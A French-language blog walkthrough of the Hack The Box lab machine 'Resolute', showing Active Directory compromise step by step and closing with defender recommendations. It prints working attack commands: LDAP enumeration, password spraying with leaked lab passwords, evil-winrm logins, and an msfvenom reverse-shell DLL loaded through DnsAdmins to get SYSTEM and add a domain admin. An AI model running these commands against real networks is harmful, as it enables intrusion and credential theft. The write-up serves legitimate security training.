Compromission Active Directory – Le cas de la Box Resolute de Hack The Box
Sommaire
I. Présentation
Dans cet article, je vous propose la résolution de la machine Hack The Box Resolute, de difficulté "Medium". Ce que nous allons voir dans cet article est typique d'une compromission classique d'un domaine d'entreprise, tant vis-à-vis des faiblesses exploitées que dans la démarche globale de l'attaquant.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), ils peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs. 🙂
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
Technologies abordées | Microsoft, Active Directory, DNS, LDAP, winRM |
Outils utilisés | nmap, ldapsearch, smbmap, BloodHound, evil-winRM, metasploit, msfvenom |
II. Résolution de la box Resolute
A. Découverte et énumération
Au début, nous ne disposons que de l'adresse IP de notre cible. Nous allons commencer par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery
$ sudo nmap -sV -sC -T4 --max-retries 1 --open 10.10.10.169 -sS
PORT STATE SERVICE VERSION
53/tcp open domain
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-16 11:59:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Host script results:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| FQDN: Resolute.megabank.local
Pas de doute, notre cible est un contrôleur de domaine, le port TCP/88 exposé par le service Kerberos en est la preuve.
Retrouvez notre cours complet sur Nmap sur lien suivant :
L'utilisation de l'option "-sV" de "nmap" permet d'effectuer un scan de version, différentes techniques de banner grabbing (récupération de bannière) vont être utilisées afin de détecter automatiquement les services, les technologies, les versions et les informations à propos du service scanné. Ici, nous obtenons, par exemple, le nom de domaine de l'Active Directory ciblé : "megabank.local".
Si vous voulez en savoir plus sur les techniques de banner grabbing pouvant être utilisées, je vous oriente vers mon article sur le sujet :
B. Accès anonymes
En plus du service Kerberos, d'autres services caractéristiques des environnements Windows et Active Directory sont exposés, dont le service RPC (Remote Procedure Call). Une vulnérabilité fréquente sur ces services est l'autorisation de l'accès anonyme :
Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts
$ rpcclient -U "%" 10.10.10.169
rpcclient $> getusername
Account Name: ANONYMOUS LOGON, Authority Name: NT AUTHORITY
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
[...]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
Ici, l'accès RPC est effectivement vulnérable à l'accès anonyme. Sur un Active Directory, le service RPC permet de récupérer un grand nombre d'informations comme la politique de mot de passe ou la liste des utilisateurs du domaine. Très utile pour un attaquant qui ne dispose d'aucune information sur le domaine.
Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account
Autre service, même vulnérabilité : le service LDAP est également vulnérable à l'accès anonyme. Cela peut se trouver facilement via une requête "ldapsearch" :
ldapsearch -H ldap://10.10.10.169 -x -b "DC=megabank,DC=local"
L'accès via LDAP est encore plus problématique que via RPC puisque nous allons pouvoir récupérer très facilement et de façon structurée l'ensemble des informations stockées dans l'Active Directory (à l'exception de certaines informations sensibles comme les mots de passe). Voici, par exemple, une requête "ldapsearch" qui permet de récupérer toutes les informations à propos des ordinateurs, utilisateurs et groupes :
Nous pouvons, par exemple, faire une requête qui va nous retourner les logins utilisateur et le contenu de leur attribut "memberOf" afin d'avoir une vue rapide d'éventuelles exceptions (un utilisateur membre de beaucoup de groupes, par exemple).
Aussi, cela nous permet de récupérer des attributs qui sont, à première vue, assez inutiles pour un attaquant. C'est le cas de l'attribut "description" des objets utilisateurs.
L'attribut "description" des objets utilisateurs fait souvent l'objet d'une attention qui peut sembler curieuse de la part des attaquants. Il faut savoir qu'une mauvaise pratique est très répandue au sein des Active Directory et des équipes d'administration et que les attaquants savent l'exploiter à leur avantage. Il n'est, en effet, pas rare de trouver des mots de passe dans cet attribut. Les administrateurs pensant que seuls eux peuvent consulter cette information, ils y stockent les mots de passe de compte (comptes de service, comptes partagés, comptes non nominatifs) pour que leurs collègues ou eux-mêmes puissent les retrouvent facilement.
Si vous souhaitez en savoir plus sur cette faiblesse, je vous oriente vers mon article sur le sujet :
Un filtre sur l'attribut "description" des objets utilisateurs nous permet de facilement découvrir des mots de passe :
Technique d'attaque (MITRE ATT&CK) : T1552 - Unsecured Credentials
ldapsearch -H ldap://10.10.10.169 -x -b 'dc=megabank,dc=local' "(objectclass=user)" description
Voici ce que l'on peut alors observer :
Nous venons de trouver un mot de passe dans l'attribut "description" de l'utilisateur "marko". Celui-ci est-il encore valide ? Nous pouvons le vérifier facilement en tentant, par exemple, une connexion SMB authentifiée auprès du contrôleur de domaine, qui doit exposer au moins le répertoire partagé "SYSVOL", normalement accessible à tout utilisateur authentifié :
$ smbmap -u 'marko' -p 'Welcome123!' -d megabank -H 10.10.10.169 --no-banner
[] Detected 1 hosts serving SMB []
Established 0 SMB session(s)
Le mot de passe ne fonctionne pas. Cependant, la structure et le contenu du mot de passe ressemble drôlement à un mot de passe "par défaut", comme celui que l'on reçoit lorsque l'on intègre une nouvelle entreprise et que l'on doit changer rapidement.
C. Mot de passe "par défaut"
Ce mot de passe a-t-il été paramétré sur d'autres comptes utilisateurs ? Maintenant que nous avons la liste complète des logins, nous pouvons facilement le vérifier via une attaque de type Password Spraying :
Une attaque de type Password Spraying (ou "arrosage de mot de passe" si on le traduit maladroitement) consiste à tenter une authentification sur tous les comptes (login) que nous avons à disposition avec un seul mot de passe ou un faible nombre de mots de passe. À l'inverse d'une attaque par brute force, qui consiste à tester un grand nombre de mots de passe pour un seul compte, le password spraying permet d'éviter la levée d'alerte et le blocage d'un compte puisqu'une seule authentification par compte n'est opérée. Le seuil de verrouillage de chaque compte n'est donc jamais dépassé.
En règle générale, le password spraying se fait avec un mot de passe commun ou que l'on pense être "par défaut".
Pour réaliser cette attaque, j'utilise l'outil "kerbrute". Je lui passe notamment ma liste d'utilisateurs (un par ligne) et le mot de passe à tester. Nous pouvons ici utiliser l'accès LDAP anonyme afin de se constituer une belle liste d'utilisateurs valider sur le domaine cible :
Technique d'attaque (MITRE ATT&CK) : T1110.003 - Brute Force: Password Spraying
# Création d'une liste des utilisateurs du domaine
$ ldapsearch -H ldap://10.10.10.169 -x -b 'dc=megabank,dc=local' "(objectclass=user)" sAMAccountname |grep "sAMAccountName:" |cut -d " " -f 2 > /tmp/userlist.txt
# Attaque Password Spraying sur les utilisateurs avec le mot de passe 'Welcome123!'
$ /opt/kerbrute/kerbrute_linux_amd64 passwordspray -d megabank.local --dc 10.10.10.169 /tmp/userlist.txt 'Welcome123!'
[+] 10.10.10.169:445 - 10.10.10.169:445 - Success: 'megabank.local\melanie:Welcome123!'
Il s'agit bien d'un mot de passe par défaut, commun à tout nouvel utilisateur. Il semble ici (et c'est loin d'être rare) qu'un utilisateur n'ait pas eu le temps ou l'opportunité de le changer. Nous voilà avec un compte authentifié sur le domaine !
Comme à chaque fois que nous disposons d'un nouvel accès valide, nous devons tester cet accès sur tous les services exposés (RPC, SMB, LDAP, Kerberos, winRM, etc) :
Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management
$ evil-winrm -u melanie -p "Welcome123!" -i 10.10.10.169
*Evil-WinRM* PS C:\Users\melanie> type Desktop/user.txt
0c3[REDACTED]78540
En utilisant l'outil "evil-winrm" pour l'authentification avec le compte "melanie", j'obtiens un accès via le protocole WinRM sur le système. Cela signifie que ce compte est membre du groupe "Remote Management Users", un privilège peu commun pour un utilisateur "standard".
Technique d'attaque (MITRE ATT&CK) : T1087.001 - Account Discovery: Local Account
À présent, nous pouvons parcourir le système via un terminal PowerShell, dans la limite des permissions de notre utilisateur. L'accès au répertoire "C:\Users" permet par exemple, d'obtenir un aperçu des utilisateurs présents sur le système :
*Evil-WinRM* PS C:\Users> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/25/2019 10:43 AM Administrator
d----- 12/4/2019 2:46 AM melanie
d-r--- 11/20/2016 6:39 PM Public
d----- 9/27/2019 7:05 AM ryan
Au sein de la racine du système de fichier existent plusieurs répertoires cachés :
Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery
*Evil-WinRM* PS C:\> get-childitem -Force
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 12/3/2019 6:40 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 4/29/2020 5:15 AM 402653184 pagefile.sys
Le "PSTranscript" est, sous Windows, une fonctionnalité permettant de journaliser les entrées et sorties d'une session PowerShell.
L'activation du PSTranscript Powershell et plus largement de la journalisation des commandes PowerShell est abordée dans cet article :
La consultation de l'historique des commandes saisies et de leur résultat est intéressante pour un attaquant quand des mots de passe ont été entrés ou lus dans cette session, exemple :
Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files
*Evil-WinRM* PS C:\PSTranscripts\20191203> get-childitem -Force
Mode LastWriteTime Length Name
---- ------------- ------ ----
-arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
Le Transcript lu ici contient un mot de passe pour le compte "Ryan", tentons de réutiliser ce mot de passe :
Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management
$ evil-winrm -u ryan -p "Serv3r4Admin4cc123!" -i 10.10.10.169
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all
Succès ! Nous devons à présent découvrir si ce nouvel utilisateur nous apporte des privilèges supplémentaires.
D. De "DnsAdmins" à "Domain Admins"
Technique d'attaque (MITRE ATT&CK) : T1069.002 - Permission Groups Discovery: Domain Groups
Visiblement, "ryan" fait bien partie d'un groupe nommé "Contractors" :
Tentons de récupérer la liste des groupes auxquels est membre ce groupe "Contractors" :
Ce groupe est membre du groupe "DNS Admins", un groupe par défaut créé lors de la mise en place d'un service DNS sur le serveur (donc en même temps que le rôle AD-DS) : Microsoft - DNS Admins.
La recherche d'information est un peu périlleuse via un simple filtre "ldapseach", les choses sont beaucoup plus claires si l'on travaille avec BloodHound, voyez plutôt :
Pour apprendre à utiliser Bloodhound afin de découvrir des vulnérabilités dans un environnement Active Directory, nous avons un cours gratuit à ce sujet :
Il faut ici exploiter le fait que le groupe "Contractors", auquel appartient "Ryan", soit membre du groupe "DNS Admins". Une méthode d'élévation de privilèges a notamment été découverte il y a quelques années à ce sujet :
Technique d'attaque (MITRE ATT&CK) : T1068 - Exploitation for Privilege Escalation
Le "DNS Admin to Domain admin" consiste à profiter de la possibilité pour l'utilisateur membre du groupe de manipuler un service sensible : le service DNS. Il peut notamment le redémarrer et lui ajouter des DLL (bibliothèque) à charger au démarrage. Une DLL étant un bout de code C, on peut lui demander de faire n'importe quoi. Le service DNS (privilégié sur le système) exécutera alors avec ses privilèges ce bout de code contrôlé par l'attaquant. Commençons par créer une DLL avec "msfvenom" :
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.211.55.13 LPORT=4444 --platform=windows -f dll > plugin.dll
"msfvenom" est une commande puissante utilisée principalement pour la génération de payloads et inclut dans le framework d'exploitation Metasploit.
Qu'est-ce qu'un payload ?
Un payload est simplement une charge utile, un bout de code malveillant qui est exécuté sur la machine cible après une exploitation réussie. Cela peut inclure des fonctionnalités telles que l'accès à distance, la collecte d'informations, l'installation de logiciels malveillants, etc.
Puis, on rend disponible cette DLL avec un partage SMB du poste d'attaque (évite de poser la DLL sur la cible, donc absence de scan antivirus) :
$ sudo impacket-smbserver WORKSPACE -smb2support dir
Toujours sur mon système d'attaque, je mets en place un handler qui va rester en écoute du reverse shell (accès distant) censé arriver depuis le système compromis :
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
Depuis notre accès PowerShell en tant que "Ryan", nous allons utiliser l'outil "dnscmd.exe" pour faire en sorte que cette DLL soit utilisée au prochain démarrage du service. Il s'agit là d'une opération légitime, l'outil en question est simplement une interface de ligne de commande pour la gestion de serveurs DNS :
dnscmd.exe myserver.local /config /serverlevelplugindll \\10.10.14.84\share\plugin.dll
Puis, on redémarre le service DNS grâce à nos privilèges "DNSAdmins" :
sc.exe stop dns
sc.exe start dns
Après ce redémarrage, nous obtenons un shell au moment du redémarrage sur le handler mis en écoute via "metasploit" en tant que "NT authority\system", c'est-à-dire l'utilisateur qui fait tourner le service DNS sur le système Windows (cliquez sur l'image pour zoomer) :
Voilà ! Nous sommes à présent maître du contrôleur de domaine, et par extension, du domaine lui-même. Nous pouvons ajouter, par exemple, l'utilisateur "ryan" aux membres du groupe "domain admins" à partir de cet accès privilégié au contrôleur de domaine :
net group "domain admins" ryan /add /domain
Voici le résultat :
Nous sommes administrateur du domaine !
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
TTP (MITRE ATT&CK) | Détails |
T1046 - Network Service Discovery | Utilisation de "nmap" pour découvrir les services exposés |
T1078.001 - Valid Accounts: Default Accounts | Accès en null session/accès anonyme aux services RPC et LDAP via "rpcclient" et "ldapsearch" |
T1087.002 - Account Discovery: Domain Account | Récupération des comptes utilisateur et attributs via RPC et LDAP. |
T1552 - Unsecured Credentials | Découverte d'un mot de passe dans l'attribut description d'un utilisateur |
T1110.003 - Brute Force: Password Spraying | Exécution d'un password spraying sur tous les comptes utilisateurs du domaine via "kerbrute" en utilisant le mot de passe découvert |
T1021.006 - Remote Services: Windows Remote Management | Accès winRM avec le compte compromis "melanie" via "evil-winrm". |
T1087.001 - Account Discovery: Local Account | Découverte des comptes locaux du système |
T1083 - File and Directory Discovery | Recherche de données sensibles dans les fichiers système accessibles |
T1552.001 - Unsecured Credentials: Credentials In Files | Découverte d'un mot de passe dans le PowerShell Transcript d'un utilisateur accessible à tous. |
T1021.006 - Remote Services: Windows Remote Management | Accès winRM avec le compte de l'utiliasteur "Ryan" via "evil-winrm" |
T1069.002 - Permission Groups Discovery: Domain Groups | Découverte des groupes de "Ryan" et de l'appartenance indirect au groupe "DNS Admins". |
T1068 - Exploitation for Privilege Escalation | Exploitation du service DNS pour exécuter une DLL malveillante avec les droits de "NT AUHTORITY/SYSTEM". |
IV. Notions abordées
A. Côté attaquant
Nous avons abordé différents éléments lors de cette attaque : tous sont des cas très classiques de compromission d'un système d'information ou d'un domaine. Aussi basique que peut paraitre la démarche exposée, les cas réels ne s'en éloignent pas vraiment, notamment pour les entreprises n'ayant jamais subi de cyberttaque ou effectué de tests d'intrusion.
La présence de service autorisant l'accès anonyme est un grand classique des vulnérabilités présentes sur un SI, que ce soit au niveau du domaine, des serveurs, des équipements actifs (imprimantes, switchs, etc.) qui peuvent utilise des mots de passe vides ou constructeurs... Jamais au cours d'un test d'intrusion, cette vulnérabilité n'a été absente du constat final. L'impact de la vulnérabilité dépend alors du service ciblé, elle sera moins impactante sur le service FTP d'une imprimante peu utilisée que sur le service LDAP du contrôleur de domaine.
Lors de notre progression, nous avons dû réutiliser un mot de passe d'un utilisateur sur d'autres comptes utilisateurs. Là aussi, la présence d'un mot de passe "par défaut" pour tout nouvel utilisateur est un classique très rapidement exploitable par les attaquants. Ce mot de passe est paramétré à tout nouvel utilisateur et il arrive souvent qu'un compte l'utilise encore (compte de service, jamais utilisé ou jamais supprimé). C'est aussi pour cette raison qu'il est important d'avoir le réflexe de réutiliser les mots de passe à disposition sur tous les accès disponibles et avec tous les comptes disponibles (dans la limite de la politique de mot de passe en place).
La progression au sein même de l'Active Directory était également intéressante ici : l'appartenance, indirecte mais bien réelle, de l'utilisateur "Ryan" au groupe "DNS Admin" peut paraitre peu intéressante si on ne connait pas les impacts et possibilités exactes de ce groupe.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : les services LDAP et RPC sont ici configurés pour autoriser des accès anonymes. Cela permet à des utilisateurs non authentifiés d'accéder à des informations sensibles stockées dans l'Active Directory ou dans d'autres services. Il est recommandé de désactiver ou de restreindre les accès anonymes à ces services.
Recommandation n°2 : les mots de passe ne doivent jamais être stockés dans les descriptions d'objets de l'Active Directory, car cet attribut peut être lu par tout utilisateur authentifié, et donc par des attaquants potentiels s'ils parviennent à accéder à l'Active Directory. Il est recommandé de vérifier régulièrement l'absence de mots de passe dans ces descriptions et de les supprimer. Cette mesure doit être accompagnée d'un changement des mots de passe qui ont été exposés.
Recommandation n°3 : les scripts ou les commandes PowerShell peuvent parfois contenir des mots de passe en clair ou être enregistrés dans des logs ou des transcripts. Il est recommandé de ne pas stocker les mots de passe dans les transcripts et de sensibiliser les administrateurs sur les bonnes pratiques en matière de gestion des mots de passe, notamment l'utilisation de moyens sécurisés de saisie des mots de passe en PowerShell, comme l'utilisation de variables sécurisées ou de modules spécialisés.
Recommandation n°4 : il est recommandé de vérifier et de corriger les chemins d'attaque présents au sein de l'Active Directory. L'appartenance indirecte d'un utilisateur au groupe DNS Admins doit être passée en revue et supprimée si non nécessaire. Plus globalement, l'utilisation fréquente et la maitrise d'outils d'analyse des chemins d'attaque comme BloodHound permet de relever ce genre de chemin d'attaque.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!
Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy
Bonjour
Cette explication c’est très intéressante
Car j’ai appris tant des choses.
Je suis à l’année terminal, je travailles sur la redondance , pouvez m’aider avec des explications très claires sur la redondance des routeurs ? Svp.
Merci beaucoup.